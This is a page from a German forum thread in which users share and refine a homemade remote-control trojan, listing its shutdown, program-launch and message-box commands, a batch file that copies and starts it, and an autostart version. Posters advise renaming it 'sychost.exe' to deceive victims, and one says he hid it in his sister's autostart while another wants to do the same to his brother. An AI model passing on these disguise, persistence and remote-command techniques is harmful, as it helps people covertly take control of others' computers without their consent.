Ansicht von 15 Beiträgen - 16 bis 30 (von insgesamt 58)
  • Autor
    Beiträge
  • #4443
    nasenbaer
    Teilnehmer

    Herunterfahren:

    comshutdownX-s!
    comxy!

    ‚ ‚->X

    VOrher solltest du die IP ändern: „!“

    sorry für den rs-link, aber im forum dauerts ewig… Da passiert nix. Kannste ja ändern.

    http://rapidshare.com/files/14413851/screenie.rar.html

    /edit by whitenexx/ Habe das Bild mal hier hochgeladen ;)

    #4445
    whitenexx
    Teilnehmer

    Ah jetzt verstehe ich!
    Wenn man „!“ in die Konsole eingibt kann man die IP des Ziel-PCs ändern ;)

    Dann kann man einfach die Befehle eigeben ;)
    z.B.

    Code:
    comshutdown -s!

    Wozu ist das „!“ (Ausrufezeichen) im Code/Befehl? Ist das ein Platzhalter? Oder soll das so bleiben?

    #4448
    nasenbaer
    Teilnehmer

    „!“ bezeichnet das ende des kommandos. Ne art kindersicherung. Ist so, damit das programm nicht „comshutdownX-s$%§“ sendet. Das ist in c++ so. geht auch anders, war aber so weniger arbeit. „X“: Der String ist mit einem Blank zuende. das muß man so verhindern.

    //EDIT1
    du kannst alles als Kommando nehmen, was der zielrechner in der konsole zur auswahl hat:

    fies: comstartXiexploreX-kXwww.keks.de!

    probiers aus!

    othende! ende
    othbeep! ton
    bea100! setzte beep1 auf 100
    beb100! setzte beep2 auf 100 (beb###!)
    (othbeep! geht nur wenn bea und beb z.B.:100 sind!)

    othtest! ein test (antwort?)
    sayHalloXFreund! Eine nervige MessageBox beim anderen.

    //Vergessen:
    Bennene troYan um, um den anderen zu täuschen: z.B.: „sychost.exe“

    Für Tests: starte troYan mit parameter: „C:>troYan.exe param
    Der ProZess bleibt sichtbar

    #4452
    whitenexx
    Teilnehmer

    Das ist ja genial! Es funktioniert! Sowohl von XP zu Vista und umgekehrt!
    Sowas habe ich all die Monate gesucht! Ein riesen großes Danke an dich!

    Habe den Prozess jetzt auch getarnt und bei meiner Schwester in den Autostart geschoben ;)

    Nur noch eine Frage:
    Kann ich den Prozess auch über die Fernsteuerung in den Autostart schieben?
    Also per Befehl?

    Und wozu ist diese Ausgabe? Da steht doch nie was drinnen oder?

    Hier ein Bild von meiner Vista-Meldung *g*

    #4455
    tokyopunk
    Teilnehmer

    also ist vista auch wieder offen wie sonst was? :mauer:

    #4458
    nasenbaer
    Teilnehmer

    War nie anders. Wen’s interessiert: Is ein unsauberes C++ Programm mit system(„commando“);. Daher weiß ich nicht ob das unter was weiß ich was läuft… comnotepad! startet -oh wunder- notepad. Alles was aufm zielpc ist, kannste audführen. comstartX…! für größere Programme, die über start>run gehen, unt ohne für „logoff“, „shutdownX-s“. Fies ist „comstartXiexploreX-kXwww.keks.de!“ bei anderen nutzern.
    Die Ausgabe sollte laufen (Firewall?)
    Fernsteuerung? Keine Ahnung.

    //edit:
    //Anhang… :mauer:
    //edit2:
    //ähm..änderst du keine rs links mehr? Noch 29Tage…

    /edit by whitenexx/ Du kannst die Bilder auch direkt anhängen und brauchst sie nicht archivieren ;) Habe das mal eben geändert…
    //editx:
    //dauert dann noch länger…
    //PS:Toller Chat hier ;)

    #4460
    whitenexx
    Teilnehmer

    Könnte man das Programm/Tools vielleicht so umprogrammieren, dass sich der Trojaner automatisch beim ausführen in den Autostart schiebt?
    Also das ich das garnicht über die Fernbedienung machen muss?
    Kannst es ja dann als „Brudertools 2.0“ veröffentlichen :D

    #4461
    nasenbaer
    Teilnehmer

    batchfile?

    @ECHO OFF
    cls
    ECHO Start
    COPY sychost.exe C:…sychost.exe
    ECHO Kopiert!
    START C:…sychost.exe
    ECHO GESTARTET
    EXIT

    oder so…
    Benutzername benötigt? Weiß nicht wie de den kriegst, sollte aber gehen. Batch iss nich mein ding…

    odervielleicht autoexec.bat?

    #4462
    whitenexx
    Teilnehmer

    Benutzername ist nicht nötig, aber irgendwie funktioniert das nicht.
    Ich möchte das der Trojaner automatisch aus einem beliebigen Ordner ins C:WINDOWS Verzeichniss geschoben wird ausserdem soll das ganze dann einen Autostarteintrag bekommen. Sollte doch auch per .BAT gehen oder?
    Bin jetzt nicht der Experte in diesem Berreich ;)

    Also kann ich nicht den Quellordner der Datei in der .BAT festlegen. Gibts da keine Variable, dass der Ordner in dem die .BAT liegt automatisch erkannt wird und die Torjaner Datei daraus kopiert wird?

    Hoffe ihr versteht was ich meine :schauf:

    #4463
    nasenbaer
    Teilnehmer

    ich glaub du kannst in batchfiles:

    -komplette :C:…*.*
    -andere : *.*

    Pfadangaben nutzen.
    andere: Im gleichen ordner. Ist zumindest unter dos so. ;)

    //15:15: muss los…
    //wieder da

    #4464
    blueray
    Teilnehmer

    ähm…ich würde das bei meinem bruder auch gerne mal machen, wenn ihr eine ENDGÜLTIGE lösung/anleitung habt, könnt ihr die dann noch mal posten?? blicke da nicht mehr ganz durch^^

    thx^^

    #4465
    whitenexx
    Teilnehmer

    Ich denke, ich werde ein Tutorial dazu erstellen, wenn ich das mit dem Autostart gelöst habe ;)

    Aber die Funktionen sind ja genial! Das beste was ich je gesehen habe…(weils so einfach ist)

    #4468
    nasenbaer
    Teilnehmer

    Früher hatte ich noch mehr Funktionen, wie Laufwerk auf/zu, Mausbewegung. Aber allein mit comxy! kannste fast alles machen. Sag bescheid wenn du den Autostart hast. (batch?) ich hab heute leider kaum Zeit.
    Vielleicht kennt sich hier jemand mit HTTP-Packeten aus und kennt ne einfache c++ lib. Dann läufts auch übers netz. :floet:

    #4481
    nasenbaer
    Teilnehmer

    BT2.0 beta bereit! overnight!

    -autostartfunktion!
    -einfach installieren(auf zielrechner) und fernsteuern!
    -Problem mit sicherheitsmeldung?

    zu testen:
    comsechsvierzig! <<<<<<<< comcdopwegX0! <<<<<<< comcdopwegX1! <<<<<<<
    comsmpwegX0X0! <<<<<<
    comsmpwegX100X345! <<<

    danke an das testteam!

    #4482
    whitenexx
    Teilnehmer

    Find ich ja echt super von dir! Das Programm ist genial :piece:
    Heißt das jetzt, dass die Neusend.exe bzw. der Trojaner sich beim ausführen automatisch in den Autostart pflanzt?

    PS. Dateigröße für Uploads vergrößert ;)

Ansicht von 15 Beiträgen - 16 bis 30 (von insgesamt 58)
  • Du musst angemeldet sein, um auf dieses Thema antworten zu können.